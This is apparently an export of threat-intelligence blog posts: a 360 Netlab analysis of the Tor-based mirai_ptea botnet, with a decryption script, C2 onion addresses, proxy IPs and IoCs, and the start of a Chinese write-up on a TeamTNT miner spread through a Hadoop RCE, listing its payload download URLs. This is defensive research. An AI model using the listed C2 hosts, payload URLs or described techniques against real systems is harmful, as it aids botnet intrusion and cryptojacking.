51.178.185.236:21685
51.81.139.251:6255
51.255.237.164:963
51.81.139.249:32380
139.162.45.218:5165
65.21.16.94:28056
207.148.74.163:32389
172.104.100.78:1039
45.32.8.100:19759
141.164.46.133:2205
172.105.36.167:10843
172.105.180.239:19531
---------proxys at index 0x2b，count=334，port=9050---------
Too many, not list here, you can get them via the IDA script
Appendix（IDA Decrypt script）
# IDAPYTHON SCRIPT for md5 c6ef442bc804fc5290d3617056492d4b only.
# Tested at ida 7.0
from ctypes import *
import struct
print "-------------------decryption start------------------------"
key=[0xC26F6A52,0x24AA0006,0x8E1BF2C5,0x4BA51F8C]
def tea_dec(buf,key):
rbuf=""
fmt = '>' + str(len(buf)/4) + 'I'
tbuf= struct.unpack_from(fmt,buf)
j=0
for i in range(0,len(tbuf)/2):
v1=c_uint32(tbuf[i+j])
v2=c_uint32(tbuf[i+1+j])
sum=c_uint32(0xC6EF3720)
while(sum.value):
v2.value -= ((v1.value>>5)+key[3]) ^(v1.value+sum.value)^ ((v1.value<<4)+key[2])
v1.value -= ((v2.value>>5)+key[1]) ^(v2.value+sum.value)^ ((v2.value<<4)+key[0])
sum.value+=0x61C88647
rbuf +=struct.pack(">I",v1.value)+struct.pack(">I",v2.value)
j+=1
return rbuf
def getbuff(addr):
buf = ""
while idc.get_bytes(addr, 2) != "\x00\x00":
buf += idc.get_bytes(addr, 1)
addr += 1
return buf
# pay attention to function at 0x0000D074
a=getbuff(idc.get_wide_dword(0x00019C9C))
buf=[]
#0x19c9c-0x199f0 --> 684
for i in range(0,684,12):
offset=idc.get_wide_word(0x000199F4+i)
length=idc.get_wide_word(0x000199F4+i+2)
buf.append(a[offset:offset+length])
c2=[]
#684/12 --> 57
for i in range(57):
decbuf=tea_dec(buf[i],key)
if(".onion" in decbuf):
c2.append(decbuf)
print "index %x, value = %s" %(i,decbuf)
print "-------------------decryption end---------------"
proxya=tea_dec(buf[0x2a],key)
pacnt=struct.unpack("<H",proxya[2:4])
proxy=[]
port=[]
tmp=proxya[4:4+6*(pacnt[0])]
print "------------proxys at index 0x2A, count= %d------------" %(pacnt[0])
for i in range(0,len(tmp),6):
proxy.append(struct.unpack(">I",tmp[i:i+4])[0])
port.append(struct.unpack("<H",tmp[i+4:i+6])[0])
for i in range(pacnt[0]):
a=struct.pack(">I",proxy[i])
ip=""
for j in range(4):
ip+=str(ord(a[j]))
if j!=3:
ip+="."
print"%s:%d" %(ip,port[i])
proxyb=tea_dec(buf[0x2b],key)
pbcnt=struct.unpack("<H",proxyb[2:4])
fmt = '>' + str(pbcnt[0]) + 'I'
tmp=proxyb[4:4*(pbcnt[0]+1)]
print "------------proxys at index 0x2B, count= %d------------" %(pbcnt[0])
xxxxx=struct.unpack(fmt,tmp)
for i in xxxxx:
a=struct.pack(">I",i)
ip=""
for i in range(4):
ip+=str(ord(a[i]))
if i!=3:
ip+="."
print ip
print "-------------------------onion info--------------"
if len(c2)!=0:
for i in c2:
pos=i.find(".onion")
for j in range(0,pos,16):
print i[j:16+j]+".onion"
else:
print "Don't find the onion c2"
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Overview\n\nOn 2021-06-22 we detected a sample of a mirai variant that we named `mirai_ptea` propagating through a new vulnerability targeting [KGUARD DVR](https://www.kguard.com.tw/). Coincidently, a day later, on June 23, we received an inquiry from the security community asking if we had seen a new DDoS botnet, cross-referencing some data, it was exactly this botnet that we had just discovered.\n\n\n### Timeline\n\n- 2021-03-22 Our historical data indicates the first probe against this vulnerability\n- 2021-06-22 We observed the `mirai_ptea` sample exploiting this vulnerability to spread\n- 2021-06-23 We got a tip from the security community that this botnet was being used for ongoing DDoS attacks.\n- 2021-06-25 `mirai_aurora`, another mirai variant, starts to use this vulnerability to propagate\n\n# Vulnerability analysis\nGiven that we have not found public information on this vulnerability, we will hide some of the key information here to prevent the vulnerability from being further abused.\n\nOne program on the KGUARD DVR firmware listens on port `*****` at `0.0.0.0` to remotely execute system commands without authentication. The firmware released after 2017 seems to have this fixed by modifying the listening address to `127.0.0.1`. Some of the exploited payloads are as follows.\n\n\n### Analysis of affected devices\n\nWe have discovered at least 3,000 or so online devices still have the vulnerability. The affected devices are as follows:\n\n| DeviceType | ProductType | HardVersion | DefDeviceName |\n| ------------- | ---------------- | ------------- | ---------------- |\n| D1004NR | DVR4-1600 | DM-268A | DVR4-1600 |\n| D1004NR | HY-DVR | DM-268 | 720P-HY04N |\n| D1004NR | HY-DVR | DM-268A | 720P-HY04N |\n| D1004NR | HY-DVR | DM-274 | 720P-HY04N |\n| D1004NR | HY-DVR | DM-274B | 720P-HY04N |\n| D1004NR | NHDR | DM-274 | NHDR-3204AHD |\n| D1004NR | RL-AHD4n | DM-268 | 720P-HY04N |\n| D1008NR | 1093/508N-DVRBM08H | DM-292 | 720P-HY08N |\n| D1008NR | DVR8-1600 | DM-298 | DVR8-1600 |\n| D1008NR | DVR8-HDA10L | DM-292 | DVR8-HDA10L |\n| D1008NR | HD881 | DM-292 | HD881 |\n| D1008NR | HY-DVR | DM-292 | 720P-HY08N |\n| D1008NR | HY-DVR | DM-298 | 720P-HY08N |\n| D1008NR | NHDR | DM-298 | NHDR-3208AHD |\n| D1008NR | RL-AHD8n | DM-292 | 720P-HY08N |\n| D1016NR | DVR16-HDA10L | DM-303 | DVR16-HDA10L |\n| D1016NR | HD1681 | DM-303 | HD1681 |\n| D1016NR | HY-DVR | DM-303A | 720P-HY16N |\n| D1016NR | HY-DVR | DM-310 | 720P-HY16N |\n| D1016NR | HY-DVR | DM-310A | 720P-HY16N |\n| D1016NR | NHDR | DM-310 | NHDR-3216AHD |\n| D1016NR | RL-MHD16n(21A) | DM-310A | 720P-HY16N |\n| D1104 | HY-DVR | DM-290A | 1080P-HY04 |\n| D1104 | NHDR | DM-307 | NHDR-5304AHD |\n| D1104NR | HD1T4 | DM-291A | 1080P-04 |\n| D1104NR | HD481 | DM-291 | HD481 |\n| D1104NR | HRD-E430L | DM-291A | HRD-E430L |\n| D1104NR | HY-DVR | DM-284 | 1080P-HY04N |\n| D1104NR | HY-DVR | DM-291 | \"Panda |\n| D1104NR | HY-DVR | DM-291 | 1080P-HY04N |\n| D1104NR | HY-DVR | DM-291A | 1080P-HY04N |\n| D1104NR | HY-DVR | DM-291C | LRA3040N |\n| D1104NR | NHDR | DM-307 | NHDR-5104AHD |\n| D1104NR | SDR-B73303 | DM-291A | SDR-B73303 |\n| D1104NR | SVR9204H | DM-291A | 1080P-HY04N |\n| D1108NR | 1093/538P | DM-290 | 1080P-HY08N |\n| D1108NR | DVR8-4575 | DM-290 | DVR8-4575 |\n| D1108NR | DVR8-HDA10P | DM-290 | DVR8-HDA10P |\n| D1108NR | HRD-E830L | DM-290A | HRD-E830L |\n| D1108NR | HY-DVR | DM-290 | 1080P-HY08N |\n| D1108NR | HY-DVR | DM-290A | 1080P-HY08N |\n| D1108NR | HY-DVR | DM-290A | LRA3080N |\n| D1108NR | NHDR | DM-307 | NHDR-5108AHD |\n| D1108NR | RL-AHD8p | DM-290 | 1080P-HY08N |\n| D1108NR | SDR-B74301 | DM-290A | SDR-B74301 |\n| D1108NR | SDR-B74303 | DM-290A | SDR-B74303 |\n| D1116 | HY-DVR | DM-300 | EHR-5164 |\n| D1116NR | HRD-E1630L | DM-295 | HRD-E1630L |\n| D1116NR | HY-DVR | DM-295 | 1080P-HY16N |\n| D1116NR | HY-DVR | DM-295 | LRA3160N |\n| D1116NR | HY-DVR | DM-299 | 1080P-HY16N |\n| D1116NR | SDR-B75303 | DM-295 | SDR-B75303 |\n| D1132NR | HY-DVR | DM-300 | 1080P-HY32 |\n| D2116NR | SDR-B85300 | DM-300 | SDR-B85300 |\n| D973215U | F9-DVR32 | DM-195 | F9-DVR32 |\n| D9804AHD | DVR | DM-210 | 391115 |\n| D9804NAHD | AHD7-DVR4 | DM-239 | AHD7-DVR4 |\n| D9804NAHD | DVR | DM-239 | 720P-DVR04ND |\n| D9804NAHD | NHDR | DM-239 | NHDR-3104AHD-II |\n| D9808NRAHD | AHD7-DVR8 | DM-228 | AHD7-DVR8 |\n| D9808NRAHD | DVR | DM-228 | |\n| D9808NRAHD | DVR | DM-228 | 391116 |\n| D9808NRAHD | NHDR | DM-228 | NHDR-3108AHD-II |\n| D9808NRAHD | NHDR | DM-228 | NHDR3108AHDII |\n| D9816NAHD | DVR | DM-233 | 720P-DVR016N |\n| D9816NAHD | NHDR | DM-233 | NHDR3116AHDII |\n| D9816NRAHD | AHD7-DVR16 | DM-229 | AHD7-DVR16 |\n| D9816NRAHD | DVR | DM-229 | 720P-DVR016NB |\n| D9904 | D9904 | DM-237 | 1080P-DVR04 |\n| D9904 | DVR | DM-237 | 1080P-DVR04 |\n| D9904 | NHDR | DM-237 | NHDR-5204AHD |\n| D9904NR | DVR | DM-244 | 1080P-DVR04N |\n| D9904NR | DVR | DM-244 | BCS-VAVR0401M |\n| D9904NR | HY-DVR | DM-244 | CVD-AF04S |\n| D9904NR | N420 | DM-244 | 1080P-DVR04N |\n| D9904NR | NHDR | DM-244 | NHDR-5004AHD-II |\n| D9904NR | NHDR | DM-244 | NHDR5004AHDII |\n| D9908 | DVR | DM-245 | BCS-VAVR0802Q |\n| D9908 | NHDR | DM-245 | NHDR-5208AHD |\n| D9908AHD | DVR | DM-246 | 1080P-DVR08A |\n| D9908NR | AHD10-DVR8 | DM-237 | AHD10-DVR8 |\n| D9908NR | DVR | DM-237 | 1080P-DVR08N |\n| D9908NR | DVR | DM-237 | SVR9008ATHD/C |\n| D9908NR | HY-DVR | DM-237 | CVD-AF08S |\n| D9908NR | N820 | DM-237 | 1080P-DVR08N |\n| D9908NR | NHDR | DM-237 | NHDR-5008AHD-II |\n| D9916NR | DVR | DM-245 | 1080P-DVR016NAT;UI |\n| D9916NR | DVR | DM-245 | HR-31-211620;UI |\n| D9916NR | HY-DVR | DM-245 | CVD-AF16S |\n| D9916NR | NHDR | DM-245 | NHDR-5016AHD-II |\n| D9916NRAHD | DVR | DM-246 | 1080P-DVR016NA |\n| D9916NRAHD | N1620 | DM-246 | 1080P-DVR016NA |\n| H1104W | SNR-73200W | DM-339 | SNR-73200W |\n| H1106W | LHB806 | DM-291B | LHB806 |\n| H1106W | LHB906 | DM-291B | LHB906 |\n\n\n# Bot scale analysis\nWe are able to see a portion of the infected bots, the following is a daily active trend：\n\n\n\nThe geographic distribution of Bot source IPs is as follows, mainly concentrated in the United States, Korea and Brazi：\n\n\n\n# Sample Analysis\n\nLet’s take a look a the the following samples\n\n```\nVerdict:mirai_ptea\nMD5:c6ef442bc804fc5290d3617056492d4b\nELF 32-bit LSB executable, ARM, version 1, statically linked, stripped \nPacker:No\nLib:uclibc\n```\n\n`c6ef442bc804fc5290d3617056492d4b` is a variant of Mirai, which we call `Mirai_ptea` based on its use of Tor Proxy to communicate with C2 and the TEA algorithm (Tiny Encryption Algorithm) to hide sensitive resource information. When ptea runs, it prints out in the Console: `come at me krebs rimasuta go BRRT`.\n\nThis sample is very similar to Mirai at the host behavior level, so we will not cover it here; At the network traffic level, Tor proxy is used, with a large number of proxy nodes embedded in the sample, and Tor-C2 is encrypted. In the following section we will focus on the encryption method and communication protocol.\n\n\n# Encryption algorithm\n\n```Mirai_ptea``` encrypts all sensitive resource information and stores it in a certain order. The string information seen when the sample is opened in IDA is shown below, with almost no readable information.\n\n\n\n\nThe following code snippet is from the decryption-related functions in the sample, which can be determined to use the TEA algorithm by the constants ```0xC6EF3720 & 0X61C88647```.\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_tea.png\" width=\"860px\" />\n\nThe key is：\n\n```\n0xC26F6A52 0x24AA0006 0x8E1BF2C5 0x4BA51F8C\n```\n\nWe wrote a decryption script([**see appendix**](#decrypt_str)), through which we can obtain all the decrypted sensitive resources and their table entry information, part of the resource information is shown below.\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_decinfo.png\" width=\"860px\" />\n\nMirai_ptea has two ways of operation when using encrypted resources\n\n- **The traditional Mirai way**: Decrypt an encrypted item, take the value, re-encrypt the decrypted item, i.e. `var_unlock-->var_get-->var_lock`. For example, the console information is taken by this method. \n\n\n\nThe value of table entry 0x11 is exactly: `come at me krebs rimasuta go BRRT`.\n\n- **Mirai_ptea’s way**: Decrypt multiple encrypted items, taking the value, and re-encrypt the decrypted items, i.e. `rangeVar_unlock-->var_get-->rangeVar_lock`. For example, this method is used when getting the disguised process name.\n\n\nThe values of the table entries 0x2c to 0x2c+10 shown below are the exact 11 pseudo-process names that can be chosen. \n\n```\nindex 0x2c, value = /bin/sh\nindex 0x2d, value = telnetd\nindex 0x2e, value = upnpc-static\nindex 0x2f, value = wsdd\nindex 0x30, value = proftpd\nindex 0x31, value = mini_httpd\nindex 0x32, value = udevd\nindex 0x33, value = /sbin/udhcpc\nindex 0x34, value = boa\nindex 0x35, value = /usr/sbin/inetd\nindex 0x36, value = dnsmasq\n```\n\n# Communication Protocol\n\nAn overview of the network traffic in Mirai_ptea is provided below.\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_network.png\" width=\"860px\" />\n\nThe whole process can be divided into 3 steps as follows.\n\n1: Establishing a connection with the proxy node\n\n2: Establishing a connection with Tor C2\n\n3: Communicate with C2 via ptea's custom protocol to receive attack commands from C2.\n\n### 0x1.Establishing a connection with the proxy\n\nThe Mirai_ptea sample has two sets of proxies built into it, with table entries ```0x2a and 0x2b``` in the encrypted resource. When the Bot sample runs, one of the two sets of proxies is selected at random, and then one proxy node of the selected sets is connected by the following code snippet.\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_proxy.png\" width=\"860px\" />\n\nThere are 38 proxy nodes in `0x2a` in the format of `ip:port`\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_0x2a.png\" width=\"860px\" />\n\n\nAnd there are 334 proxy nodes in `0x2b`, in the format of `ip`, and the port of this group of proxies is fixed at `9050`.\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_0x2b.png\" width=\"860px\" />\n\nSee the appendix for a detailed list of proxies.\n\n\n\n### 0x2. Connecting to C2 via the Tor-Proxy protocol\n\n\n\n\nYou can see that C2 has the table entry `0xD` in the encrypted resource, and after decrypting it, get the following string.\n\n```\nrkz2f5u57cvs3kdt6amdku2uhly2esj7m2336dttvcygloivcgsmxjjnuickasbuatxajrovi4lvd2zjuejivzrb3vobuoezbc6z3gtu6b3r5tce.onion\n```\n\n\nExcluding the `.onion` at the end of the above string and splitting it by length 16, then splicing it with the `.onion` string at the end, we get the following 7 C2s.\n\n```\nrkz2f5u57cvs3kdt.onion\n6amdku2uhly2esj7.onion\nm2336dttvcygloiv.onion\ncgsmxjjnuickasbu.onion\natxajrovi4lvd2zj.onion\nuejivzrb3vobuoez.onion\nbc6z3gtu6b3r5tce.onion\n```\n\n### 0x3. Communicate with the C2s via custom protocols for registration, heartbeat, and attack as follows\n\n- Registration\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_reg.png\" width=\"860px\" />\n\n```\nmsg parsing\n----------------------------------------------------------------\n3e c7 e3 1e 37 47 61 20\t\t\t\t\t\t----->hardcoded msg from Bot\nb1 2f de ce cb 89 e1 a0\t\t\t\t\t\t----->cmd from C2,ask Bot to upload info\n3a 31 34 b5 02 00\t\t\t\t\t\t\t----->hardcoded 6 bytes msg from Bot\nb4 a3 e1 16\t\t\t\t\t\t\t\t\t----->ip of infected device\n04\t\t\t\t\t\t\t\t\t\t\t----->group string length\n74 65 73 74\t\t\t\t\t\t\t\t ----->group string\n79\t\t\t ----->padding\n```\n- Heartbeat\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_heart.png\" width=\"860px\" />\n\n```\nmsg parsing\n----------------------------------------------------------------\n2a 23\t\t\t\t\t\t-----> random 2 bytes msg from Bot\n2a 23\t\t\t\t\t\t-----> random 2 bytes msg from C2\n```\n\n- Attack command The first 4 bytes of the attack command, `AD AF FE 7F` are fixed phantom numbers, and the rest of the attack command is similar to mirai's attack command format\n\n```\n00000000: AD AF FE 7F 1E 00 00 00 00 01 B9 98 42 65 20 00 ............Be .\n00000010: 42 65 20 00 \n```\n\n# DDoS attack activity\nThis botnet has been busy launching DDoS attacks, the following figure shows some DDoS attack instructions of the botnet that we observed.\n<a href=\"__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4c.png\"><img src=\"__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4.png\" class=\"kg-image\"/></a>\n\n\n# Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) , or email to `netlabat[at]360.cn`.\n# IoC\n\n## Tor-C2\n```\nbc6z3gtu6b3r5tce.onion:3742\ncgsmxjjnuickasbu.onion:992\nuejivzrb3vobuoez.onion:5353\nrkz2f5u57cvs3kdt.onion:280\natxajrovi4lvd2zj.onion:110\n6amdku2uhly2esj7.onion:513\nm2336dttvcygloiv.onion:666\n```\n\n## Sample MD5\n\n```\nc6ef442bc804fc5290d3617056492d4b\nf849fdd79d433e2828473f258ffddaab\n```\n\n## Downloader URL\n```\nhttp://193[.177.182.221/boot\n```\n\n## Scanner IP\n```\n205.185.117.21\tAS53667|FranTech_Solutions\tUnited_States|Nevada|Las_Vegas\n205.185.114.55\tAS53667|FranTech_Solutions\tUnited_States|Nevada|Las_Vegas\n68.183.109.6\tAS14061|DigitalOcean,_LLC\tUnited_States|New_York|New_York_City\n67.205.163.141\tAS14061|DigitalOcean,_LLC\tUnited_States|New_York|New_York_City\n165.227.88.215\tAS14061|DigitalOcean,_LLC\tUnited_States|New_York|New_York_City\n```\n\n## Proxys\n```\n---------proxys at index 0x2a，count=38---------\n149.202.9.7:9898\n91.134.216.103:16358\n84.32.188.34:1157\n51.178.185.237:32\n65.21.16.80:23560\n149.202.9.14:19765\n146.59.11.109:5089\n195.189.96.61:29582\n84.32.188.37:1454\n51.195.209.80:26848\n5.199.174.242:27931\n95.179.158.147:22413\n146.59.11.103:1701\n185.150.117.10:29086\n149.56.154.210:24709\n135.148.11.151:3563\n51.195.152.255:25107\n45.79.193.124:7158\n135.148.11.150:5560\n185.150.117.41:20790\n135.125.250.120:14498\n172.106.70.135:692\n195.189.96.60:9700\n172.106.70.134:25054\n149.56.154.211:21299\n108.61.218.205:29240\n51.178.185.236:21685\n51.81.139.251:6255\n51.255.237.164:963\n51.81.139.249:32380\n139.162.45.218:5165\n65.21.16.94:28056\n207.148.74.163:32389\n172.104.100.78:1039\n45.32.8.100:19759\n141.164.46.133:2205\n172.105.36.167:10843\n172.105.180.239:19531\n\n---------proxys at index 0x2b，count=334，port=9050---------\nToo many, not list here, you can get them via the IDA script\n```\n# <a id=\"decrypt_str\">Appendix（IDA Decrypt script）</a>\n```\n# IDAPYTHON SCRIPT for md5 c6ef442bc804fc5290d3617056492d4b only.\n# Tested at ida 7.0\nfrom ctypes import *\nimport struct\nprint \"-------------------decryption start------------------------\"\n\nkey=[0xC26F6A52,0x24AA0006,0x8E1BF2C5,0x4BA51F8C]\ndef tea_dec(buf,key):\n rbuf=\"\"\n fmt = '>' + str(len(buf)/4) + 'I'\n tbuf= struct.unpack_from(fmt,buf)\n j=0\n for i in range(0,len(tbuf)/2):\n \n v1=c_uint32(tbuf[i+j])\n v2=c_uint32(tbuf[i+1+j])\n\n sum=c_uint32(0xC6EF3720)\n while(sum.value):\n v2.value -= ((v1.value>>5)+key[3]) ^(v1.value+sum.value)^ ((v1.value<<4)+key[2])\n v1.value -= ((v2.value>>5)+key[1]) ^(v2.value+sum.value)^ ((v2.value<<4)+key[0])\n sum.value+=0x61C88647\n rbuf +=struct.pack(\">I\",v1.value)+struct.pack(\">I\",v2.value)\n j+=1\n return rbuf\ndef getbuff(addr):\n buf = \"\"\n while idc.get_bytes(addr, 2) != \"\\x00\\x00\":\n buf += idc.get_bytes(addr, 1)\n addr += 1\n\n return buf\n\n\n\n# pay attention to function at 0x0000D074\na=getbuff(idc.get_wide_dword(0x00019C9C))\n\n \n\nbuf=[]\n#0x19c9c-0x199f0 --> 684\nfor i in range(0,684,12):\n offset=idc.get_wide_word(0x000199F4+i)\n length=idc.get_wide_word(0x000199F4+i+2)\n\n buf.append(a[offset:offset+length])\n \nc2=[]\n#684/12 --> 57\nfor i in range(57):\n decbuf=tea_dec(buf[i],key)\n\n if(\".onion\" in decbuf):\n c2.append(decbuf)\n print \"index %x, value = %s\" %(i,decbuf) \nprint \"-------------------decryption end---------------\"\n\nproxya=tea_dec(buf[0x2a],key)\npacnt=struct.unpack(\"<H\",proxya[2:4])\n\n\nproxy=[]\nport=[]\ntmp=proxya[4:4+6*(pacnt[0])]\nprint \"------------proxys at index 0x2A, count= %d------------\" %(pacnt[0])\nfor i in range(0,len(tmp),6):\n proxy.append(struct.unpack(\">I\",tmp[i:i+4])[0])\n port.append(struct.unpack(\"<H\",tmp[i+4:i+6])[0])\nfor i in range(pacnt[0]):\n a=struct.pack(\">I\",proxy[i])\n ip=\"\"\n for j in range(4):\n ip+=str(ord(a[j]))\n if j!=3:\n ip+=\".\"\n \n print\"%s:%d\" %(ip,port[i])\n\n\n\nproxyb=tea_dec(buf[0x2b],key)\npbcnt=struct.unpack(\"<H\",proxyb[2:4])\nfmt = '>' + str(pbcnt[0]) + 'I'\ntmp=proxyb[4:4*(pbcnt[0]+1)]\nprint \"------------proxys at index 0x2B, count= %d------------\" %(pbcnt[0])\nxxxxx=struct.unpack(fmt,tmp)\nfor i in xxxxx:\n a=struct.pack(\">I\",i)\n ip=\"\"\n for i in range(4):\n ip+=str(ord(a[i]))\n if i!=3:\n ip+=\".\"\n print ip\n\n\nprint \"-------------------------onion info--------------\" \nif len(c2)!=0:\n for i in c2:\n \n pos=i.find(\".onion\")\n\n for j in range(0,pos,16):\n print i[j:16+j]+\".onion\"\nelse:\n print \"Don't find the onion c2\"\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60dd2e433819e50007634828 |
post | null | 2021-08-04T10:44:05.000Z | 63873b9a8b1c1e0007f52fdb | wei-xie-kuai-xun-teamtntxin-huo-dong-tong-guo-gan-ran-wang-ye-wen-jian-ti-gao-chuan-bo-neng-li | 0 | 2021-08-06T01:43:30.000Z | public | published | null | 2021-08-06T01:43:30.000Z | 威胁快讯：TeamTNT新变种通过ELF打包bash脚本，正通过Hadoop ResourceManager RCE 传播 | <!--kg-card-begin: markdown--><p>TeamTNT是一个比较活跃的挖矿家族，曾被腾讯和PAN等国内外安全厂商多次分析<a href="https://mp.weixin.qq.com/s/3vyqQBYt9pAZY1H_vTgacA">[1]</a><a href="https://unit42.paloaltonetworks.com/teamtnt-operations-cloud-environments/">[2]</a>，我们的BotMon系统也曾多次捕获。以往经验显示，TeamTNT家族喜欢使用新技术，比如名为EzuriCrypter的加密壳就是首次在TeamTNT样本中被检测到。近期，我们的Anglerfish蜜罐再次捕获到TeamTNT的新变种，使用了如下新技术和工具：</p>
<ol>
<li>通过ELF文件包装入口bash脚本。</li>
<li>集成了一个新的Go编写的扫描器。</li>
</ol>
<p>从功能角度看，新变种和5月份曝光的<a href="https://0x20h.com/p/46e1#newinit-sh%E3%80%81init-sh">版本</a> 相比并没有大的变化，只是在个别功能上做了一些有意思的调整。</p>
<h1 id="exploit">Exploit</h1>
<p>本轮传播使用了已知漏洞 Hadoop_ResourceManager_apps_RCE。</p>
<h1 id="">入口脚本分析</h1>
<p>跟以往攻击相同，漏洞利用成功后会植入一个名为<code>i.sh</code>的入口脚本，内容如下：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/08/bbbb.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>能看出这段脚本会从<code>RT_URL</code>变量中解码出主模块的URL <code>hxxp://oracle.htxreceive.top/s3f715/i.jpg</code>，然后下载并执行。</p>
<h1 id="elf">ELF打包的主模块分析</h1>
<p>主模块为一个ELF文件，代码看上去非常简单：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/08/image-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>上述代码只是释放并执行一个名为<code>i-r.sh</code>的脚本文件，所有的功能逻辑其实都在脚本中完成，所以主模块其实只是一个ELF打包的bash脚本。这是我们首次观察到TeamTNT家族使用该技术。</p>
<p>通过分析<code>i-r.sh</code>文件，可以很容易的找到TeamTNT的标志信息，将其和TeamTNT关联起来。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/08/aaaa.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>i-r.sh文件包含如下几个函数：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/08/cccc.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>结合具体代码，i-r.sh的主要功能总结如下：</p>
<ul>
<li>杀死其它矿机程序，</li>
<li>杀死可疑程序，</li>
<li>锁定（文件不能删除，不能更改，不能移动）了部分系统文件，</li>
<li>恢复了DNS为8.8.8.8和8.8.4.4</li>
<li>锁定了cron相关的文件</li>
<li>SecureTheSystem() - 修改ps, top, pstree三个工具，通过过滤关键字串apache2/[httpd]|na/httpd|cmrypto隐藏其它模块和工具。</li>
<li>LockDownTheSystem() – 锁定了shutdown, reboot, poweroff, telinit等控制系统重启的工具，禁止系统重启。</li>
<li>KILLMININGSERVICES() – 卸载旧矿机。</li>
<li>添加ssh公钥帐号。</li>
<li>卸载阿里云和腾讯云安全防护工具。</li>
</ul>
<p>对照之前曝光过的脚本代码发现主体功能基本一致，只是在扫描部分有些调整。</p>
<p>主模块用到的矿机程序和扫描器如下所示：</p>
<pre><code>XMRig -
(主)hxxp://oracle.htxreceive.top/s3f715/s/avg.tar.gz
(备)https://github.com/xmrig/xmrig/releases/download/v6.13.0/xmrig-6.13.0-linux-static-x64.tar.gz
masscan –
(主)hxxp://oracle.htxreceive.top/s3f715/s/m.tar.gz
(备)hxxps://github.com/robertdavidgraham/masscan/archive/refs/tags/1.3.0.tar.gz
lisa.scanner -
hxxp://oracle.htxreceive.top/s3f715/s/htx-i.${ARCH}
</code></pre>
<p>其中，XMRig和masscan之前已经多次见到，但<code>lisa.scanner</code>却是一个首次见到的扫描器，它的开发语言为Go，支持 Postgres、 Reids和 ssh 三种服务的爆破扫描。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/08/image-3.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>扫描器启动后会创建几个.db文件来保存扫描结果。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/08/image-4.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>扫描过程的日志会保存在.log文件中。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/08/image-5.png" class="kg-image" alt loading="lazy"></figure><p></p><!--kg-card-begin: markdown--><h1 id="ioc">IoC</h1>
<h2 id="md5">MD5</h2>
<pre><code>7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aabc9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6
7153415b8f26390677b2285fdcfcd5ca
60b55e7087d0316d7c886db30cdf0a02
65e0144f02992578feaec652f18a5d4b
b023e29f8e1a4902d463820009aabc9d
9f719395ca35d4dd2fb0dd7cd508b51b
dfdf7e8fb465765e5dd372c4e0b2aad7
4616e44f236263a0c085b14a5009a7e6
</code></pre>
<h2 id="url">URL</h2>
<pre><code>http://oracle.htxreceive.top/s3f715/i.jpg
http://oracle.htxreceive.top/s3f715/s/avg.tar.gz
http://oracle.htxreceive.top/s3f715/i.sh
http://oracle.htxreceive.top/s3f715/s/htx-i.x86_64
http://oracle.htxreceive.top/s3f715/s/htx-i.i386
http://oracle.htxreceive.top/s3f715/s/htx-i.i686
http://oracle.htxreceive.top/s3f715/s/m.tar.gz
</code></pre>
<!--kg-card-end: markdown--> | TeamTNT是一个比较活跃的挖矿家族，曾被腾讯和PAN等国内外安全厂商多次分析[1][2]，我们的BotMon系统也曾多次捕获。以往经验显示，TeamTNT家族喜欢使用新技术，比如名为EzuriCrypter的加密壳就是首次在TeamTNT样本中被检测到。近期，我们的Anglerfish蜜罐再次捕获到TeamTNT的新变种，使用了如下新技术和工具：
1. 通过ELF文件包装入口bash脚本。
2. 集成了一个新的Go编写的扫描器。
从功能角度看，新变种和5月份曝光的版本 相比并没有大的变化，只是在个别功能上做了一些有意思的调整。
Exploit
本轮传播使用了已知漏洞 Hadoop_ResourceManager_apps_RCE。
入口脚本分析
跟以往攻击相同，漏洞利用成功后会植入一个名为i.sh的入口脚本，内容如下：
能看出这段脚本会从RT_URL变量中解码出主模块的URL hxxp://oracle.htxreceive.top/s3f715/i.jpg，然后下载并执行。
ELF打包的主模块分析
主模块为一个ELF文件，代码看上去非常简单：
上述代码只是释放并执行一个名为i-r.sh的脚本文件，所有的功能逻辑其实都在脚本中完成，所以主模块其实只是一个ELF打包的bash脚本。这是我们首次观察到TeamTNT家族使用该技术。
通过分析i-r.sh文件，可以很容易的找到TeamTNT的标志信息，将其和TeamTNT关联起来。
i-r.sh文件包含如下几个函数：
结合具体代码，i-r.sh的主要功能总结如下：
* 杀死其它矿机程序，
* 杀死可疑程序，
* 锁定（文件不能删除，不能更改，不能移动）了部分系统文件，
